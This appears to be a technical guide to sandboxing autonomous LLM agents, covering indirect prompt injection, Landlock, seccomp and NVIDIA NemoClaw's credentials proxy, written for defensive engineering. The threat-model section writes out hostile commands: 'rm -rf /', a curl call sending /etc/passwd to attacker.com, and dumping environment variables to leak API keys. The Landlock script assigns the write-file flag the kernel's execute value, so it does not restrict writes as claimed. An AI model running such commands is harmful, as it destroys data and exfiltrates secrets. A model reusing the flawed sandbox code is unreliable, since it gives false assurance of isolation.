NemoClaw: Secure Runtime Systems
Giving an autonomous agent access to shell executors, system files, and databases creates massive security vulnerabilities. A single indirect prompt injection (e.g. an agent reading a malicious webpage or file) can hijack the execution flow, resulting in file deletion, data exfiltration, or subnet attacks.
This page details the threat models and systems architectures required to design Secure Runtime Systems for autonomous agents.
๐ Threat Model: Why LLM Agents Require Hardened Sandboxes
Unlike static applications, autonomous agents act as dynamic code compilers. This exposes several key attack surfaces:
[ Untrusted Source (Webpage/Repo) ] โโ> [ Reading Payload ]
โ
โผ (Indirect Prompt Injection)
[ Agent Filesystem / Shell ] <โโโ [ Hijacked Command: "rm -rf /" ]Attack Surfaces
- Indirect Prompt Injection: Malicious instructions embedded in raw data sources (emails, code files, websites) read by the agent sensor.
- Arbitrary System Calls: If the LLM generates a Python script to write a file, it can insert system commands (e.g.,
os.system("curl attacker.com/leak --data-binary @/etc/passwd")). - Network Penetration: Compromised agents scanning the local network (
192.168.x.x) to exploit neighboring internal services.
Trust Boundaries
The boundary between the Agent Reasoning Engine and the Host Operating System must be treated as untrusted. No agent process should run with root user privileges, and all tool execution threads must be isolated at the system kernel level.
๐ Isolation Trade-offs: Container & Sandbox Technologies
Selecting the right containment layer requires evaluating security boundaries against execution performance:
| Sandbox Technology | Isolation Type | Start-up Latency | Resource Footprint | Security Boundary Strength | Primary Use Case |
|---|---|---|---|---|---|
| Docker | Namespace / Cgroups | Fast (~100ms) | Low | Medium (Shared host kernel; vulnerable to escape exploits) | Local developer environments |
| gVisor (Google) | User-space Kernel Proxy | Medium (~200ms) | Low-Medium | High (Intercepts all syscalls via Sentry/Gofer) | Multi-tenant SaaS agent environments |
| Firecracker (AWS) | Micro-VM | Slow (~500ms+) | High | Very High (Virtual hardware boundary via KVM) | Untrusted code execution in the cloud |
| Landlock LSM | Kernel LSM Filter | Instant (<1ms) | Very Low | High (Process restricts its own filesystem access at kernel) | Local always-on assistant daemons |
๐ Privilege Isolation: Filesystem Boundaries & Syscall Interception
Secure runtimes employ two core OS kernel mechanisms to isolate processes:
- Linux Security Modules (LSM): Restricts what directories the agent is allowed to touch. Landlock LSM allows the agent process to initialize, load configuration files, and then restrict itself so it can only write to a designated workspace directory (e.g.
/tmp/agent_workspace). - Syscall Interception (Seccomp): Intercepts system calls. If the agent attempts to spawn a process debugger (
ptrace), modify root directories (chroot), or open raw network sockets, the kernel blocks the call and returns a permission error.
๐ค Case Study: NVIDIA NemoClaw & OpenShell Sandbox
NemoClaw is an open-source security stack designed by NVIDIA to wrap agent systems (like OpenClaw or Hermes). It uses NVIDIA OpenShell as the sandboxed runtime environment. OpenShell combines Landlock LSM, seccomp filters, and isolated container networks. It decouples LLM inference from execution commands and uses an egress credentials proxy to prevent sensitive API keys from ever touching the agent filesystem.
๐ป Code Playbook: Linux Landlock Filesystem Isolation
Landlock LSM is a kernel-level module that allows a process to restrict its own filesystem access. Below is a Python script illustrating how to use the Landlock API to bind an agent process so it can only write to /tmp/agent_workspace and is blocked from reading /etc/passwd:
import os
import ctypes
SYS_landlock_create_ruleset = 444
SYS_landlock_add_rule = 445
SYS_landlock_restrict_self = 446
LANDLOCK_RULE_PATH_BENEATH = 1
LANDLOCK_ACCESS_FS_WRITE_FILE = 1 << 0
LANDLOCK_ACCESS_FS_READ_FILE = 1 << 2
LANDLOCK_ACCESS_FS_READ_DIR = 1 << 3
class LandlockRulesetAttr(ctypes.Structure):
_fields_ = [("handled_access_fs", ctypes.c_uint64)]
class LandlockPathBeneathAttr(ctypes.Structure):
_fields_ = [
("allowed_access", ctypes.c_uint64),
("parent_fd", ctypes.c_int32),
]
def restrict_filesystem(allowed_path: str):
"""
Harden the active process by restricting all filesystem operations
outside of the designated workspace directory.
"""
libc = ctypes.CDLL(None)
all_rules = (LANDLOCK_ACCESS_FS_WRITE_FILE |
LANDLOCK_ACCESS_FS_READ_FILE |
LANDLOCK_ACCESS_FS_READ_DIR)
attr = LandlockRulesetAttr(handled_access_fs=all_rules)
ruleset_fd = libc.syscall(
SYS_landlock_create_ruleset,
ctypes.byref(attr),
ctypes.sizeof(attr),
0
)
if ruleset_fd < 0:
raise OSError("Failed to create Landlock ruleset.")
parent_fd = os.open(allowed_path, os.O_PATH | os.O_CLOEXEC)
path_attr = LandlockPathBeneathAttr(
allowed_access=all_rules,
parent_fd=parent_fd
)
result = libc.syscall(
SYS_landlock_add_rule,
ruleset_fd,
LANDLOCK_RULE_PATH_BENEATH,
ctypes.byref(path_attr),
0
)
os.close(parent_fd)
if result != 0:
raise OSError("Failed to add allowed path to ruleset.")
result = libc.syscall(SYS_landlock_restrict_self, ruleset_fd, 0)
os.close(ruleset_fd)
if result != 0:
raise OSError("Failed to enforce Landlock restrictions.")
print(f"[SANDBOX SUCCESS] Filesystem restricted to allowed workspace: {allowed_path}")
if __name__ == "__main__":
workspace = "/tmp/agent_workspace"
os.makedirs(workspace, exist_ok=True)
try:
restrict_filesystem(workspace)
with open(os.path.join(workspace, "test.txt"), "w") as f:
f.write("Agent output data.")
print("Test 1: Write inside workspace completed.")
with open("/etc/passwd", "r") as f:
print(f.readline())
except PermissionError:
print("Test 2: Access blocked by Landlock kernel rules (Expected Outcome).")
except Exception as e:
print(f"Diagnostics skipped: {e} (Requires Linux 5.13+ kernel with Landlock enabled).")๐ป Code Playbook: Seccomp Syscall Filter Blueprint
In addition to Landlock, secure runtimes apply seccomp profiles to block dangerous system calls. Below is a declarative YAML profile showing how OpenShell restricts process syscall behaviors:
defaultAction: SCMP_ACT_ERRNO # Deny everything not explicitly whitelisted
architectures:
- SCMP_ARCH_X86_64
- SCMP_ARCH_AARCH64
syscalls:
- names:
- read
- write
- openat
- close
- fstat
- exit_group
action: SCMP_ACT_ALLOW
- names:
- ptrace # Blocks process hijack monitoring
- chroot # Blocks directory jail escapes
- socket # Blocks outbound socket creations
- reboot # Blocks server shutdown exploits
action: SCMP_ACT_ERRNO๐ Credential Isolation Proxy Topology
A major security flaw in many architectures is placing API keys directly in container environment variables. If an agent has shell command access, a prompt injection like print(os.environ) leaks all API keys.
NemoClaw solves this by routing requests through a Gateway Credentials Proxy:
[ Agent Container ]
โ
โโ (Tries to read env) โโ> [ No keys stored in Environment / Disk ]
โ
โโ (Inference Call) โโ> POST https://api.openai.com/v1/chat/completions
โ
โผ (Intercepted by Proxy Gateway)
[ NemoClaw Credentials Proxy ]
โ
โโ (Injects Header: Bearer sk-...)
โ
โผ
[ OpenAI API Servers ]โ๏ธ Engineering Decisions & Trade-offs
When designing secure agent runtimes, consider the following parameters:
Design Trade-offs
- Security Strength vs. Startup Latency: Micro-VMs (Firecracker) provide near-absolute isolation but suffer from slow boot times (500ms+) and high memory overhead. LSM filters (Landlock) boot instantly and consume zero extra resources, but require specific Linux kernels and do not isolate memory namespaces.
- Sandbox Strictness vs. Capability: Denying raw socket creation prevents data exfiltration, but blocks the agent from querying external APIs or downloading packages required for tasks.
Enterprise Deployment Patterns
- Decoupled Credentials: Never write API keys to agent storage. Always use a proxy gateway that intercepts and signs outbound requests.
- Egress Logging: Store all outgoing network traffic. If an agent tries to send unusual volumes of data to an external IP, flag the container immediately.
Decisive Guidance
- When to Use: Always deploy kernel-level sandboxing (Landlock/seccomp) or micro-VMs when running agents that execute LLM-generated code or operate on untrusted user-provided text.
- When to Avoid: You do not need complex kernel sandboxing if the agent operates entirely on predefined, deterministic API wrappers (e.g. standard JSON-RPC tools with no shell execution capabilities).